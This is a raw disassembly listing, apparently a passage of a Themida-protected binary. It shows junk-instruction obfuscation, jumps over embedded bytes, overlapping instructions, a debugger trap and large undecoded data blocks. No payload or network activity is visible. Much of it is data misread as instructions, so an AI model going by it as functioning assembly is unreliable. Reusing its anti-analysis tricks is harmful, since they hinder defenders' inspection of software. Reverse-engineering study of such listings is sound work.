jo loc_5D3180 movsx ecx, cx loc_5D3180: ; CODE XREF: sub_5D3168:loc_5D3177j movzx esi, ax mov bx, 0BD6Fh mov bx, 0D42Ah mov si, ax jmp loc_5D31A3 ; --------------------------------------------------------------------------- db 93h dd 647E7BCh, 1B0F4575h, 63FA0301h db 0Eh, 3Eh, 0D0h ; --------------------------------------------------------------------------- loc_5D31A3: ; CODE XREF: sub_5D3168+26j mov cx, dx movzx esi, dx jmp loc_5D31BF ; --------------------------------------------------------------------------- dw 0B20Ah dd 4BD9FF8Fh, 5ED8012Eh, 0F65BF7E6h ; --------------------------------------------------------------------------- mov [esi+54h], gs loc_5D31BF: ; CODE XREF: sub_5D3168+41j jmp loc_5D31CE ; --------------------------------------------------------------------------- dd 4DDA7953h, 0B3B56E2h ; --------------------------------------------------------------------------- mov ecx, [eax] loc_5D31CE: ; CODE XREF: sub_5D3168:loc_5D31BFj mov bh, cl mov cx, bx jnb loc_5D31DD mov di, 0C98Bh loc_5D31DD: ; CODE XREF: sub_5D3168+6Bj movsx ebx, cx call sub_5D31F0 hlt sub_5D3168 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 7C96h ; --------------------------------------------------------------------------- mov al, 82h add [ecx+ebp*2-62h], dh jl short near ptr dword_5D3268 ; =============== S U B R O U T I N E ======================================= sub_5D31F0 proc near ; CODE XREF: sub_5D3168+78p add ch, 91h pop esi mov eax, 6C6CD037h mov dl, 94h movsx ecx, bx mov eax, esi add cl, 30h jmp loc_5D3217 ; --------------------------------------------------------------------------- dd 664E82FEh, 0F479A5F1h, 0E7008B23h db 4Bh, 6Ch, 7Eh ; --------------------------------------------------------------------------- loc_5D3217: ; CODE XREF: sub_5D31F0+13j call sub_5D3224 or eax, [ebx+5271075h] xchg eax, ecx insd sub_5D31F0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D3224 proc near ; CODE XREF: sub_5D31F0:loc_5D3217p mov esi, 4FA74184h pop ecx jnp near ptr loc_5D323B+4 call near ptr loc_5D323B+1 and ebp, [ecx-5Dh] pop esp cmp ch, dh loc_5D323B: ; CODE XREF: sub_5D3224+Cp ; sub_5D3224+6j or [edx-179FA6E2h], dh sub_5D3224 endp ; sp-analysis failed or [eax], eax ; --------------------------------------------------------------------------- db 0 dd 69CB2300h, 3714A43Bh, 8166DF73h, 5F7755D7h, 7E961h dd 0F94B0000h, 2D7EED53h, 66BB6671h, 128F0F66h dword_5D3268 dd 0E9000000h, 0Dh, 0FFB19B41h, 2A4A4C8Bh, 0D08E3F94h ; CODE XREF: Themida_:005D31EEj dd 60C38B70h, 1BBB8ABEh, 0D781661Ah, 0BE610029h, 5CC52E3Bh dd 5890Fh, 15BA0000h, 0E970EDA5h, 0Bh, 3C74251Ch, 629BBC07h dd 0F0F2415h, 800FF8B7h, 19h, 14E9h, 97CBB100h, 95915D4Dh dd 5E4C3F62h, 2F9D03F2h, 5B8DF5B7h, 5870F94h, 66000000h dd 8572DF81h, 0BE9h, 95A77900h, 0CD5292D8h, 96123D9Bh dd 28B0Fh, 0EC8A0000h, 8E9F98Bh, 0C6000000h, 0F29BF47h dd 66E2133Fh, 0EE9C18Bh, 75000000h, 24650D3Eh, 0AE4850DFh dd 882DDFD7h, 3830F9Dh, 66000000h, 0B960D08Bh, 1D6FE14Eh dd 9E9h, 1B29C00h, 0B9B47874h, 0FC61E55Dh, 0E9D88B66h dd 0Bh, 5EBC9CEEh, 0BB5662A2h, 0FFCCA38h, 328Fh, 13E800h dd 641F0000h, 0F4555361h, 0D77AFCBFh, 0B7177C4Bh, 9838096Dh dd 13E887h, 9B2C0000h, 57E11EF2h, 0C80E45EAh, 5C5D065Fh dd 109415D2h, 0F58584Ch, 8166DBB7h, 53253AC6h, 0AE8h, 7BC3300h dd 0B9E1A83Ch, 0E9C31480h, 0Eh, 1A7B6F82h, 99003DD1h, 0DEC3B78Dh dd 5858850Dh, 7BCD8056h, 81D88B5Bh, 94AEDAF1h, 0EE81663Dh dd 880F3F22h, 13h, 0EE9h, 0D984F200h, 0E723F0D2h, 0DDEC6EB4h dd 66FBA50Bh, 0B57BC181h, 0AE8h, 458F7800h, 92C40451h dd 6612F3E6h, 5B754CB8h, 10E8h, 0DBBA3300h, 5079B958h dd 0DA49202h, 11C08B63h, 7E950h, 0EF990000h, 4B9916B9h dd 10E9586Eh, 74000000h, 0B43798Ah, 0E66E0E13h, 720D4DC7h dd 0BFDA2821h, 1A6A0159h, 30D98160h, 610D6A17h, 8820Fh dd 0F510000h, 81h, 81665F00h, 66CDEADEh, 0BE20D281h, 10E951h dd 0DB880000h, 0F35C0CF6h, 312BBDA0h, 0B646113Eh, 6659655Ah dd 0DA51EE81h, 14E9h, 2D914500h, 6C799DAh, 0E64D16F5h dd 0BACC11A4h, 0AAF24F9Eh, 80DB80BBh, 6820Fh, 0C6810000h dd 65A00507h, 60F8E2B7h, 38E0Fh, 0B70F0000h, 68E0FD9h dd 0F000000h, 85h, 8B606100h, 0F561F8FBh, 0BE860h, 83090000h dd 0F699CB73h, 6C7ECAA2h, 1AF78143h, 592FD7ECh, 14E9h dd 8A8500h, 0BEFAC4ACh, 52B4FB7Bh, 405C8B6Fh, 805ECB6h dd 0BE666152h, 0C4808E1Fh, 0EA80FC81h, 0F5E5712h, 387h dd 0F7BF0F00h, 0FE9h, 5A7BAF00h, 4A1F8468h, 0B79EF21Bh dd 5858C49Ah, 0FE9h, 885E6200h, 12084594h, 9E9F21B3h, 8D9B3D5Ah dd 0B6C7B70Fh, 0F78B663Ch, 51D7BF0Fh, 8ED18151h, 5903B93Dh dd 0F9B70F5Fh, 0CE9FCh, 0A91B0000h, 5AAA0B8Ch, 0A7A8D2A1h dd 9E9149Ah, 43000000h, 0F94E3F54h, 369C378h, 0C280D38Ah dd 3BC48038h, 12E9h, 0C5615E00h, 7144C325h, 80A7FEC9h dd 0F014CF32h, 66DEFB95h, 0F3F6F281h, 66F9C080h, 66EFADBBh dd 4ED0D181h, 0E8605E56h, 0Dh, 356E2F1Eh, 0EB061534h, 0B4B8035Fh dd 11E979h, 0EF930000h, 0ED1DA093h, 0C7D2298h, 3219B1EDh dd 5FF385CEh, 0BADDB160h, 5F5F9D1Bh, 0BE666161h, 66F9912Ah dd 5E8CE8Bh, 15000000h, 4865194Ah, 4C88BA66h, 16E7815Fh dd 661AF3C9h, 8B66F18Bh, 70D980C7h, 2836D981h, 0D6806E85h dd 0E89AB55Ah, 6, 0F15927D4h, 5FFCA3B6h, 0DD681FCh, 666C1C10h dd 19BBC28Bh, 0E943FB61h, 0Bh, 7CFC6952h, 0C0E93CD6h, 8064844Fh dd 0F180ADE7h, 5E805h, 9420000h, 806A8AE7h, 0E9590AD9h dd 13h, 9B0E9CCh, 0CDDE0305h, 95E9AB4Fh, 8C25A4AAh, 66D183C7h dd 66761ABAh, 0AEB2DE81h, 7AF18166h, 15DF8108h, 0BB06F382h dd 5F909BC3h, 58F0Fh, 0D9BB0000h, 0F169FB3h, 68Bh, 0FAE88100h dd 8B385964h, 7FC480D8h, 60C78060h, 61C0BF0Fh, 0D0D2D981h dd 9FB925BDh, 0E86FB3E0h, 13h, 0AC94416Bh, 0EC1ABC78h dd 0F2FA90E9h, 0A6E544A7h, 665CF0E5h, 0D734DF81h, 188C0F5Eh dd 0F000000h, 128Eh, 0DE900h, 29E60000h, 0FA1ABA90h, 0FF1CE034h dd 0FB1F70Ch, 8Bh, 0AE800h, 0AECC0000h, 0B16D2F33h, 4976EC99h dd 5EE5C680h, 3ED68157h, 5A7CE144h, 811EC380h, 2791E9C0h dd 0BE95Ah, 364D0000h, 25C1EB80h, 2B235447h, 11E9AFh, 5DC80000h dd 97CEF4BEh, 0AE9575D6h, 4D20C59Ah, 0E80043C0h, 6, 89DAFD86h dd 820F98B9h, 5, 0F2D18166h, 0BF605E32h, 647DE109h, 86F78166h dd 0EE96150h, 88000000h, 273B62F9h, 0C613A3C6h, 0CB5C8487h dd 0FB8B6610h, 0A23CC381h, 0EE90557h, 48000000h, 0E7D8F0A1h dd 0F2432A13h, 7B860776h, 0E18166E3h, 0C88BB761h, 81C8B70Fh dd 0AC79CFE7h, 6E857h, 5B830000h, 0DAEDEF2h, 58DA8B66h dd 358BF781h, 8B66697Dh, 0A8A6BAFBh, 850F6BACh, 15h, 10E9h dd 0DF1DCA00h, 3507BB53h, 475AC8A3h, 2026003h, 0D3B9665Ch dd 88EA805Ah, 0DA8BCA8Ah, 0E837F181h, 0FF94DE9h, 180h dd 880FF800h, 0Dh, 8E9h, 0DB4E7100h, 4CEBDD8Ch, 28B8662Ah dd 0ECB8522Fh, 5B406997h, 0E8FEB70Fh, 0Dh, 43C463B8h, 67F9F7E4h dd 6E19C58Dh, 830F50FFh, 0 ; --------------------------------------------------------------------------- pop eax pop ebx movzx esi, cx mov di, 0CDE7h cld jmp loc_5D3823 ; --------------------------------------------------------------------------- db 73h dd 3B27168Fh, 3C35668Ah ; --------------------------------------------------------------------------- imul byte ptr [edi] push ss loc_5D3823: ; CODE XREF: Themida_:005D3812j jmp loc_5D3831 ; --------------------------------------------------------------------------- sbb edx, [esp+edi] daa icebp mov ah, 0 mov dh, 0ACh loc_5D3831: ; CODE XREF: Themida_:loc_5D3823j add ecx, 55A9CB2Ah stc mov ecx, 1F75564Fh adc bh, 0Ah movzx esi, cx mov ch, bl mov di, 0CDB3h stc jle loc_5D3854 mov si, 0D5C4h loc_5D3854: ; CODE XREF: Themida_:005D384Aj adc dx, 95A1h mov al, 74h mov si, 0EF7Ch mov di, 3FEFh jmp loc_5D387C ; --------------------------------------------------------------------------- dd 0E1E94FDBh, 0F43F9A28h, 4E20F059h, 0CF239854h, 6FE9D5DFh ; --------------------------------------------------------------------------- loc_5D387C: ; CODE XREF: Themida_:005D3863j clc sub ebx, 79EB7457h pusha jmp loc_5D3898 ; --------------------------------------------------------------------------- adc ebp, edi adc edx, [edx-2A4496B5h] mov ebp, 0E9D700Eh adc [esi], ah loc_5D3898: ; CODE XREF: Themida_:005D3884j jge loc_5D38B6 jmp loc_5D38B6 ; --------------------------------------------------------------------------- db 12h dd 7DFB6239h, 0F06712Bh, 7C0C16D2h, 561D4B46h db 4Ch, 27h ; --------------------------------------------------------------------------- loc_5D38B6: ; CODE XREF: Themida_:loc_5D3898j ; Themida_:005D389Ej popa add bx, 4E6Fh mov bl, 1Ch mov eax, 4E82E98Ah mov esi, 56EB81A8h pusha mov edx, 1CE97C46h jge loc_5D38D6 push ecx pop edi loc_5D38D6: ; CODE XREF: Themida_:005D38CEj popa mov si, cx clc stc mov bx, 7866h mov si, 0CD8Ch movzx eax, si mov al, ch jb loc_5D38F3 mov cx, 7F4Ah loc_5D38F3: ; CODE XREF: Themida_:005D38E9j mov ax, 785Dh mov dl, 88h cld mov bh, 39h mov si, 0B57Ah sbb edx, 27133ACh and bx, 0E8E1h adc bl, 90h sbb ebx, 44D61B05h jge loc_5D391D movsx ecx, si loc_5D391D: ; CODE XREF: Themida_:005D3914j mov edx, eax mov ax, 4439h pusha call near ptr sub_5D3939 ; --------------------------------------------------------------------------- db 0C4h, 0FBh, 0Fh ; --------------------------------------------------------------------------- jno short loc_5D3950 sbb al, 0A1h jl short near ptr loc_5D3932+5 loc_5D3932: ; CODE XREF: Themida_:005D3930j sbb [eax+71C22267h], bl pop ds ; =============== S U B R O U T I N E ======================================= sub_5D3939 proc far ; CODE XREF: Themida_:005D3924p push ecx pop edi pop esi jnb loc_5D3944 pusha popa loc_5D3944: ; CODE XREF: sub_5D3939+3j popa pusha pusha jmp loc_5D395F ; --------------------------------------------------------------------------- dd 0A2FC473Dh ; --------------------------------------------------------------------------- loc_5D3950: ; CODE XREF: Themida_:005D392Cj dec eax mov al, 1Eh xlat iret ; --------------------------------------------------------------------------- db 0E3h, 83h, 0CDh dd 87022FA2h ; --------------------------------------------------------------------------- adc dl, 0B1h loc_5D395F: ; CODE XREF: sub_5D3939+Ej mov ecx, 0E7C7271h popa jle loc_5D3970 sbb di, 8B09h loc_5D3970: ; CODE XREF: sub_5D3939+2Cj popa mov eax, edi jmp loc_5D397E ; --------------------------------------------------------------------------- cmp ecx, [edx+ebx+1Ch] stc dec esi loc_5D397E: ; CODE XREF: sub_5D3939+3Aj jmp loc_5D398C ; --------------------------------------------------------------------------- db 10h dd 75F39FECh, 4038A100h ; --------------------------------------------------------------------------- loc_5D398C: ; CODE XREF: sub_5D3939:loc_5D397Ej cld sbb al, 5 and cx, 0D238h jmp loc_5D39A8 ; --------------------------------------------------------------------------- or eax, 522869C6h sti lea edx, [ecx-4FAE265Bh] add edx, ecx loc_5D39A8: ; CODE XREF: sub_5D3939+5Cj sub dl, 33h mov edi, 7E2ACC92h pusha js loc_5D39C2 jmp loc_5D39C2 ; --------------------------------------------------------------------------- dd 2E607F77h db 48h, 2Ch ; --------------------------------------------------------------------------- loc_5D39C2: ; CODE XREF: sub_5D3939+78j ; sub_5D3939+7Ej jnb loc_5D39E1 jmp loc_5D39E1 ; --------------------------------------------------------------------------- db 5, 59h, 87h dd 59310C61h, 0D0B4410Bh, 0F2E1D366h, 3B2EE53Ch db 0E3h ; --------------------------------------------------------------------------- loc_5D39E1: ; CODE XREF: sub_5D3939:loc_5D39C2j ; sub_5D3939+8Fj popa xor ch, 0FDh jmp loc_5D39FB ; --------------------------------------------------------------------------- dw 0B1EDh dd 85CE3219h, 0FD8CFBF3h, 918B5298h db 0BBh, 7Dh, 6Bh ; --------------------------------------------------------------------------- loc_5D39FB: ; CODE XREF: sub_5D3939+ACj adc eax, 493B447Eh mov ch, 4 push ecx or ecx, 2E6532F4h pop edi mov edi, 1CE18EF2h jnz loc_5D3A27 jmp loc_5D3A27 ; --------------------------------------------------------------------------- db 0EDh ; --------------------------------------------------------------------------- sub bl, [ebp-28h] retf 0C91Ch ; --------------------------------------------------------------------------- dw 2973h db 0BBh, 95h, 14h ; --------------------------------------------------------------------------- loc_5D3A27: ; CODE XREF: sub_5D3939+D7j ; sub_5D3939+DDj mov ax, di or ecx, 7DEDBBF2h add cx, 0F177h pusha push ecx push ebx pop eax pop ecx jns loc_5D3A45 add bx, 1D69h loc_5D3A45: ; CODE XREF: sub_5D3939+101j popa mov cx, di movzx ebx, ax sbb edi, 3FBEF0EAh mov ah, 0FAh jmp loc_5D3A65 ; --------------------------------------------------------------------------- db 0BBh, 2Bh, 47h ; --------------------------------------------------------------------------- or bh, [ebx-9A99884h] push ecx push edi pop edx loc_5D3A65: ; CODE XREF: sub_5D3939+11Bj mov esi, 5B6BB01Dh pusha mov esi, ebx mov esi, 705E0EB7h popa mov edi, edx loc_5D3A75: ; CODE XREF: Themida_:005D3A90j call near ptr loc_5D3A8A+3 jecxz short near ptr loc_5D3A8A+2 db 65h mov edx, esi adc al, 0F5h int 3 ; Trap to Debugger fiadd word ptr [eax-5EAEA77Dh] lahf push ds loc_5D3A8A: ; CODE XREF: sub_5D3939+141j ; sub_5D3939:loc_5D3A75p test ds:0CB816650h, al sub_5D3939 endp ; sp-analysis failed jo short loc_5D3A75 pop ecx jle loc_5D3A9C xor al, 1Ch loc_5D3A9C: ; CODE XREF: Themida_:005D3A93j pusha mov dx, bx sbb dx, 0A3A6h popa push ebx adc si, 3866h pop esi jmp loc_5D3AC5 ; --------------------------------------------------------------------------- dw 6B8Ah dd 0B5876DFDh, 7EC0B275h, 509AAB8Ah, 9BC1493Dh db 31h ; --------------------------------------------------------------------------- loc_5D3AC5: ; CODE XREF: Themida_:005D3AADj sbb ah, 3Fh mov ch, 96h jmp loc_5D3AE0 ; --------------------------------------------------------------------------- db 0CDh dd 25C6D135h, 59637B06h, 0A7280485h, 0D0B651Ah ; --------------------------------------------------------------------------- loc_5D3AE0: ; CODE XREF: Themida_:005D3ACAj mov ebx, edx jmp loc_5D3AFB ; --------------------------------------------------------------------------- db 0EDh ; --------------------------------------------------------------------------- retn 6A82h ; --------------------------------------------------------------------------- db 0F3h dd 491C4A56h, 90EC53A2h, 0E527B007h db 0A7h, 0F1h, 34h ; --------------------------------------------------------------------------- loc_5D3AFB: ; CODE XREF: Themida_:005D3AE2j jg loc_5D3B0D pusha and di, 3200h mov ecx, 2C4983A2h popa loc_5D3B0D: ; CODE XREF: Themida_:loc_5D3AFBj sub dh, 0EEh movzx edi, dx mov di, ax pusha xor edx, 41B8D7B5h jmp loc_5D3B27 ; --------------------------------------------------------------------------- dw 6B12h db 0A5h, 1Bh, 67h ; --------------------------------------------------------------------------- loc_5D3B27: ; CODE XREF: Themida_:005D3B1Dj popa mov eax, esi jmp loc_5D3B3C ; --------------------------------------------------------------------------- push cs cmc mov gs, [esi+66h] xchg eax, ecx dec eax fstp1 st(6) retf ; --------------------------------------------------------------------------- pop edx pop eax sahf loc_5D3B3C: ; CODE XREF: Themida_:005D3B2Aj mov ebx, 466F8F6Dh mov ecx, edi mov esi, edx pusha jnz loc_5D3B52 jo $+6 loc_5D3B52: ; CODE XREF: Themida_:005D3B46j popa or dl, 70h pusha mov bh, 35h popa movsx edx, ax adc cl, 0AEh movsx edi, di jz loc_5D3B6B mov bh, 78h loc_5D3B6B: ; CODE XREF: Themida_:005D3B63j call sub_5D3B80 sbb ebp, ebp setalc arpl dx, cx mov ch, 3Ah pop ds loopne loc_5D3BCB sbb [edx-26F17BD7h], edx ; =============== S U B R O U T I N E ======================================= sub_5D3B80 proc near ; CODE XREF: Themida_:loc_5D3B6Bp mov ebx, eax pop ebx call loc_5D3B94 popa pop esp rol dword ptr ss:[ecx-7Eh], 1 cmpsd adc al, 68h into retn sub_5D3B80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0E7h ; --------------------------------------------------------------------------- loc_5D3B94: ; CODE XREF: sub_5D3B80+3p mov al, 0D2h pop edx push edx cld pop esi mov ecx, eax mov bl, al mov edi, ebx stc jmp loc_5D3BB5 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- mov dh, 15h rcl cl, 1 wait and [edi+5Fh], esi aas mov ds:97343FDAh, eax loc_5D3BB5: ; CODE XREF: Themida_:005D3BA1j jp loc_5D3BBD mov dl, cl loc_5D3BBD: ; CODE XREF: Themida_:loc_5D3BB5j mov dx, 5BFh movsx edx, si jmp near ptr loc_5D3BD9+4 ; --------------------------------------------------------------------------- db 82h, 55h ; --------------------------------------------------------------------------- loc_5D3BCB: ; CODE XREF: Themida_:005D3B78j insd scasd xor al, 7 in al, 0BBh ; Interrupt Controller #2, 8259A mov bh, 0B6h xchg eax, ecx cmp al, dl jp short loc_5D3C1C loc_5D3BD9: ; CODE XREF: Themida_:005D3BC4j and byte ptr [ecx-7E99C6D6h], 0D7h cmp ah, [ebx] jno loc_5D3BEE ja $+6 loc_5D3BEE: ; CODE XREF: Themida_:005D3BE2j cld jmp loc_5D3BFE ; --------------------------------------------------------------------------- dd 9B6A7AF1h, 0A1835700h ; --------------------------------------------------------------------------- sbb [edx], eax loc_5D3BFE: ; CODE XREF: Themida_:005D3BEFj mov ax, 0A86Dh pusha mov eax, edx call loc_5D3C13 enter 0FFFFF215h, 0C8h mov bl, 57h cld sal ch, cl loc_5D3C13: ; CODE XREF: Themida_:005D3C05p jmp near ptr loc_5D3C1F+3 ; --------------------------------------------------------------------------- dd 16544C3Dh ; --------------------------------------------------------------------------- loc_5D3C1C: ; CODE XREF: Themida_:005D3BD7j dec esi mov dl, 8Bh loc_5D3C1F: ; CODE XREF: Themida_:loc_5D3C13j xor [esi-459EA6CCh], ebx jp short near ptr loc_5D3C53+2 db 26h or eax, 0C6BF0F51h pop ecx or cx, 6FECh pusha jle loc_5D3C3D movsx ebx, cx loc_5D3C3D: ; CODE XREF: Themida_:005D3C34j popa adc dx, 0AD6Ah ; CODE XREF: Themida_:005D3C59j movsx ecx, di sub edx, 0B6B689h mov edi, 43E08036h mov dl, 3Fh loc_5D3C53: ; CODE XREF: Themida_:005D3C25j call near ptr loc_5D3C64+3 pop esi loopne near ptr loc_5D3C3E+3 rcl ecx, 1 stosb cwde test eax, 52F60973h loc_5D3C64: ; CODE XREF: Themida_:loc_5D3C53p sub [edi+esi*2-45h], eax db 2Eh fdiv st, st(4) xor [edi-17h], ebx adc eax, [eax] ; --------------------------------------------------------------------------- dd 49170000h, 634505Bh, 0D8320B94h, 7A00C839h, 45114F13h dd 9E9A3h, 0E6010000h, 91559EE0h, 8B915EDDh, 8B0F51F8h dd 19h, 13E8h, 88514100h, 9B8F2EB1h, 5800F6F7h, 0FDBDAAE4h dd 0A89C9A9Fh, 0E9505B5Ah, 14h, 5F70E0B8h, 92707DFEh, 92347CFAh dd 0DF91E776h, 0D4693A27h, 860F605Bh, 1, 0E08061F5h, 0BE8F815h dd 0A1000000h, 7C00BAF6h, 68206FAh, 0E953955Ah, 12h, 0E46FE55Fh dd 2BCC5063h, 2468FAE6h, 0DB41C830h, 5B59E699h, 1A07B966h dd 0F38BCA8Bh, 2890Fh, 0C68B0000h, 8A0FC68Ah, 4, 6622BF66h dd 11E8h, 31EE1500h, 964EF26Bh, 9A03FE6h, 57994A95h, 850F8052h dd 2, 0E8585A51h, 5, 444681Ah, 0DE989h, 0D81B0000h, 5D1F0DA8h dd 0DCCB883Bh, 5B1D41B2h, 12E9h, 3E87600h, 5410ECD3h, 631970CAh dd 0E9E17837h, 81A526B3h, 60DC22C0h, 1D8F0F5Ah, 0F000000h dd 178Ah, 12E900h, 5E2D0000h, 2E2EAEA1h, 0C085DDAEh, 95EA474Bh dd 0A6F5162Dh, 0E8F18B66h, 9, 98551F55h, 0ADD2643Ah, 60F8600Fh dd 505A6161h, 5EF98B66h, 8E8D88Bh, 42000000h, 0FC79DD7Ah dd 603DEBECh, 61C28B66h, 11E95Ah, 0E34B0000h, 0FA67209Fh dd 0ACE45AFFh, 8B00BF28h, 0E80DEA6Fh, 0Fh, 3D7AA206h, 8459307Bh dd 0EFD5DDBEh, 0FD8A3C5h, 583h, 0EA85B900h, 60597B8Dh dd 59C3BB66h, 14E961h, 0EE420000h, 1171DC20h, 8C641CF7h dd 6B08D4F4h, 0A41BC4FBh, 0EE99D74h, 0D0000000h, 0F18DDB95h dd 6B867782h, 26214889h, 3ABF66CBh, 0DBB70F0Ch, 9E9C18Bh dd 5B000000h, 3EB516EDh, 0D68D7E4Dh, 66F7BF0Fh, 0F52FBAB9h dd 81E9BA66h, 8E9h, 0B2276700h, 0B7E72C2Ah, 12E8BDh, 64D70000h dd 70C4F2D9h, 90AF4933h, 4B567200h, 0EDE4E18Dh, 5870Fh dd 81660000h, 599666F7h, 0F63CF80h, 8Bh, 0F2816600h, 0EB8A6F89h dd 0BECB8B66h, 699D2B7Eh, 6651D68Bh, 0D374D981h, 0E95E515Fh dd 7, 3044D4D0h, 6059C328h, 0EF816651h, 605A2F56h, 10E8h dd 79B95800h, 0A4920250h, 0C08B630Dh, 422A5011h, 7E85F5Bh dd 57000000h, 0EC5CD7E5h, 6158334Bh, 11820F61h, 0E9000000h dd 0Ch, 72DB44DDh, 0C2B983AFh, 0EFA82AD6h, 13E9h, 4DD24400h dd 4E2CE3EAh, 98460BE8h, 0B89FAB55h, 5B739390h, 5A22BEBAh dd 95D88025h, 0BE9h, 0EED62E00h, 3AAF936Ch, 0AC54B2A1h dd 0EDB1D381h, 9E93D47h, 0BD000000h, 2BBEAAC7h, 44C267F8h dd 80CBB70Fh, 8166B8E3h, 0E8F1CCCBh, 5, 18E28784h, 38C0F3Fh dd 80000000h, 665B66CAh, 867ECB81h, 12E9h, 29351500h, 86C3DC5h dd 110C4133h, 293684h, 0FF534D5h, 32B8C8BFh, 0F33A8B7h dd 18Ah, 0CE9F800h, 51000000h, 5B211796h, 0A52882C8h, 0BBD8C67Ah dd 35F40C52h, 0F8CEB70Fh, 7E9h, 0DE7EAC00h, 6BB26E82h dd 51E647B8h, 0C080607Fh, 31E681BDh, 615D61BEh, 3850Fh dd 0C0800000h, 14E9F3h, 51BF0000h, 0E6E17FFEh, 5DA4A2C0h dd 2F299FA2h, 0BB6B4803h, 0D78B3DBFh, 8B66DA8Bh, 0BB6660DFh dd 0F60BD95h, 86h, 890F00h, 61000000h, 0AE8FC61h, 0C3000000h dd 0DF9CBF54h, 0EB4DAD58h, 0FB8B661Ch, 91B9665Ah, 0F69B686h dd 880h, 0CE815600h, 511439A6h, 0DFBF0F5Eh, 5E9h, 4A2A6800h dd 0CBB615B8h, 8166F5F5h, 0B2EA73DBh, 5E8520Dh, 2000000h dd 56A97512h, 800Fh, 5A580000h, 0BE9h, 41726D00h, 81500EDDh dd 0E61F90B4h, 8E9h, 189EED00h, 0F259960Bh, 8E0F44h, 0F000000h dd 0C81h, 6850F00h, 0F000000h, 83h, 95B86600h, 38B0F6Ch dd 80000000h, 0B70F9ECDh, 0FE9F8h, 81C90000h, 278837F3h dd 1C11540Dh, 0BFBED63Eh, 13E946h, 0C4B10000h, 0BB2CE69h dd 9722FA60h, 5E928C5Ah, 0CC7649B8h, 0ACBA6691h, 8810F5Ch dd 0F000000h, 281h, 60D08B00h, 66D8DB80h, 61A71CB9h, 7E206CBAh dd 0D8B70F1Dh, 8BDFB70Fh, 7B0F8D8h, 66CA8B66h, 0E89175BFh dd 11h, 61541D51h, 89073F63h, 0D79E92CCh, 6DDB354Fh, 39DF81A5h dd 5A58687Ch, 0AFC88166h, 0F71B549h, 489h, 0E0B86600h dd 0E8FE8B0Bh, 8, 0FAF7CF2Bh, 7A2BD0EFh, 11E9h, 6A2CFF00h dd 7712847Dh, 49D92D96h, 32F19DC5h, 805F0B56h, 0F18B1FCCh dd 0DDD48052h, 0BE95Bh, 0AD840000h, 8DF397C1h, 7B63FDF9h dd 5850FEEh, 0B8000000h, 43AE92E5h, 0E875B4F8h, 10h, 462BEC3Ch dd 1AA9E1B8h, 0CB4DD57h, 0FE015C1Ah, 0BE85FF9h, 73000000h dd 0DC81A85Ch, 32901180h, 7E92ABFh, 0D8000000h, 0C9469A69h dd 0E85E6FF5h, 7, 64631886h, 0F5DC4C25h, 1850F5Bh, 0F9000000h dd 0FC68B66h, 0E181F8BFh, 2B33A053h, 0BBCABF0Fh, 0EC8EFB9h dd 0BDF8E381h, 0EE8A48EBh, 0C86CC981h, 9B0306Ah, 0BEF98B66h dd 75D638C9h, 0FCA8B66h, 381h, 94C28000h, 665134B7h, 0E958D88Bh dd 0Ch, 115658E2h, 0CD32DEAEh, 0B5F1D6FBh, 0C181A1B2h dd 86643D2h, 0F78B66F8h, 258E0Fh, 0DE80000h, 0A000000h dd 54304086h, 4E82FE2Ah, 79A5F166h, 0DE9h, 4B13F600h, 931CD428h dd 5958FB5Fh, 0F58E61Ch, 89h, 7E900h, 76C0000h, 0A8844ECh dd 0C78160E6h, 38FEDDD8h, 2AF08166h, 8D0F6145h, 19h, 0AC08060h dd 0EE8h, 0CBFB1000h, 2FD59D81h, 247733Fh, 5ECB53AFh, 0CDBB6661h dd 8C0FFC63h, 9, 3810Fh, 0BF0F0000h, 19860FFBh, 0E8000000h dd 11h, 3E359826h, 1014AFCDh, 610F6BCCh, 404E5404h, 595E57A8h dd 61DA8B60h, 3890Fh, 8B660000h, 81F860F8h, 0B2FD7BD1h dd 0BE666133h, 9E959E2h, 40000000h, 2558671Eh, 43ED76B8h dd 6ECE8166h, 0EE887h, 1FCB0000h, 1C39444Bh, 2E6D9AC6h dd 590E0473h, 5ECB8B66h, 96CF8166h, 0ACBA6608h, 0D2815042h dd 334CE5D5h, 13E85259h, 0FC000000h, 0C50234Bh, 18A97FF6h dd 0DDF9AD2Ch, 7801CEF6h, 5E500ABBh, 12E95B5Ah, 17000000h dd 1679177Eh, 0C5957259h, 1E43B6D1h, 60245840h, 0DA8B661Dh dd 586CBF66h, 6E9h, 0D5941800h, 0BB4011D0h, 688EADEDh dd 0FDF8B66h, 11E8CBB7h, 76000000h, 0A4327FB9h, 51BA61ADh dd 3F50EC13h, 0B3F22E6Ah, 19870Fh, 13E80000h, 0D5000000h dd 4B87382h, 0CB6827BDh, 48FAC6FCh, 0D0B01AF8h, 5F5ED4A2h dd 683FB956h, 0E95F3C2Bh, 11h, 0F5F52F6Bh, 0F04414C3h dd 71325AE5h, 8B8321EFh, 0F38B66A0h, 0CE8F5F9h, 50000000h dd 0E5396F70h, 0FC842759h, 0E8C6C249h, 0Dh, 70894317h dd 0BF66644Eh, 813A0F7Eh, 0AECA817Eh, 5920240Bh, 6057F859h dd 14E8h, 0B27E3800h, 9BE7D0DBh, 4E3B2BEFh, 5EBEE73Dh dd 2443840Ch, 5F5758ADh, 0E2815E61h, 16BBD6C7h, 66DF8B66h dd 0FB4F7B8h, 1987h, 14E900h, 24700000h, 83D46D38h, 7429224Ch dd 0B8FE20C0h, 5989BA69h, 6660C033h, 0FF2F6BBh, 0F61F7BFh dd 387h, 1FF58000h, 0B37FF380h, 18D0FE3h, 0F5000000h, 80C6B70Fh dd 860FDDE7h, 2, 8B66D88Bh, 8840FFBh, 0F000000h, 28Eh dd 0BBF78A00h, 611F9A14h, 9E9h dd 61D00500h, 260D3987h, 0D980F7AFh, 0C18B5790h, 5890F59h dd 0BE000000h, 2F5C62A5h, 0DE9h, 0DE40F400h, 86993B2Ch dd 0A0603195h, 10E93960h, 0FE000000h, 0A8743141h, 9E427F89h dd 0FFAF3E07h, 56D25539h, 0D4DA8166h, 8B66587Ch, 0F8E0FFEh dd 0E9000000h, 0Ah, 80F5A03Bh, 0A498BF70h, 0B70F0793h dd 48F0FD0h, 66000000h, 6097EABEh, 8E9h, 7EA56400h, 51489995h dd 0FA8B6631h, 6E961h, 0C3B0000h, 0B2BC50F3h, 0DE9h, 45316000h dd 0F569E03h, 193EE9A2h, 2ABA76F1h, 0B742AB06h, 4890F05h dd 66000000h, 66CFC5BAh, 0FF5B8BEh, 289h, 